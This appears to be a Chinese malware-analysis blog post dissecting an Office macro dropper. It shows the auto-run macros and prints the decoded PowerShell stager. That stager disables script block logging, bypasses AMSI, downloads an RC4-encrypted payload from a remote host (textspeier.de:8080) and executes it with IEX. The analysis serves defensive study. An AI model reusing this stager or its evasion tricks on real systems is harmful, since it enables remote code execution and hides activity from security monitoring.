Loading... `powershell_downloader` openXML格式: ![image.png](http://47.117.131.13/usr/uploads/2021/08/2440496513.png) olevba.exe提取宏代码,查看分析报告,宏代码自动执行:AotoOpen、Decument_Opent、Auto_Open。 ![image.png](http://47.117.131.13/usr/uploads/2021/08/1698333313.png) ![image.png](http://47.117.131.13/usr/uploads/2021/08/1220607994.png) 提取的宏代码中,三个自动执行的函数都调用同一个函数PG,: ![image.png](http://47.117.131.13/usr/uploads/2021/08/1484870979.png) 拼接字符串n,能看到“powershell”的字符串,可以猜测这段宏会执行一段powershell,powershell的命令被Base64加密。 接着往下看,可以看到使用"winmgmts:\.\root\cimv2:Win32_Process"对象创建HIDDEN_WINDOW隐藏进程,执行powershell。 ![image.png](http://47.117.131.13/usr/uploads/2021/08/1754146033.png) 重点放在powershell的命令上,将powershell命令进行base64解密,解密后的数据,简单整理如下: ``` IF($PSVerSiONTaBLe.PSVERSiOn.MAJOR -Ge 3) { $GPF=[rEf].AssEmbLY.GETTYpe('System.Management.Automation.Utils')."GEtFie`Ld"('cachedGroupPolicySettings','N'+'onPublic,Static'); IF($GPF) { $GPC=$GPF.GeTValUe($null); If($GPC['ScriptB'+'lockLogging']) { $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0; $GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$vAL=[CoLLectIOns.GeneRiC.DicTiOnAry[StRiNG,SysteM.ObjEcT]]::New(); $Val.AdD('EnableScriptB'+'lockLogging',0); $vAl.ADd('EnableScriptBlockInvocationLogging',0); $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$val } ELSe { [SCRipTBLOck]."GEtFIE`ld"('signatures','N'+'onPublic,Static').SeTValue($nULl,(NEw-OBjeCt COllecTIONS.GENERic.HASHSet[STRiNg]))}[ReF].AsSEMBlY.GETTyPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GetField('amsiInitFailed','NonPublic,Static').SETVALUE($nUll,$TRUE)}; }; [SYSteM.NEt.SERVICePoinTMAnAgER]::EXPECT100CoNTINUE=0; $WC=New-OBjEcT SYSTEM.NEt.WeBCLiEnT; $u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; $Wc.HeADErs.Add('User-Agent',$u); $WC.ProXY=[SYSTem.Net.WeBReqUESt]::DefaUltWebPRoxy; $WC.PRoxY.CrEDEntIALS = [SysTeM.Net.CrEDENtIaLCAcHE]::DEFAultNETWORkCReDentials; $Script:Proxy = $wc.Proxy; $K=[SyStEM.Text.EncodinG]::ASCII.GetBYtES('10cacd856333a68debb7afc89a58226e'); $R={$D,$K=$ArGs;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUnt])%256; $S[$_],$S[$J]=$S[$J],$S[$_]}; $D|%{$I=($I+1)%256;$H=($H+$S[$I])%256; $S[$I],$S[$H]=$S[$H],$S[$I]; $_-BXor$S[($S[$I]+$S[$H])%256]}}; $ser='http://textspeier.de:8080'; $t='/admin/get.php'; $WC.HeadERS.AdD("Cookie","session=8k4H9m43fuEpyQF0xcGnPHHc0L4="); $DATa=$WC.DowNloaDDATa($Ser+$t); $Iv=$DaTA[0..3]; $DatA=$daTa[4..$DAta.LengTH];-joIN[ChAr[]](& $R $DATA ($IV+$K))|IEX ``` 经分析,这段powershell,其功能是从http://textspeier.de:8080/admin/get.php下载数据并执行。 至此,其宏功能分析完成。 **windows下执行远程Powershell脚本** 思路:下载一个文件并直接执行。 * `Invoke-Expression` 用于执行脚本,它可以简写为:*IEX*。 参考链接:https://blog.csdn.net/qq_38474570/article/details/88409894 最后修改:2021 年 08 月 03 日 05 : 49 PM © 允许规范转载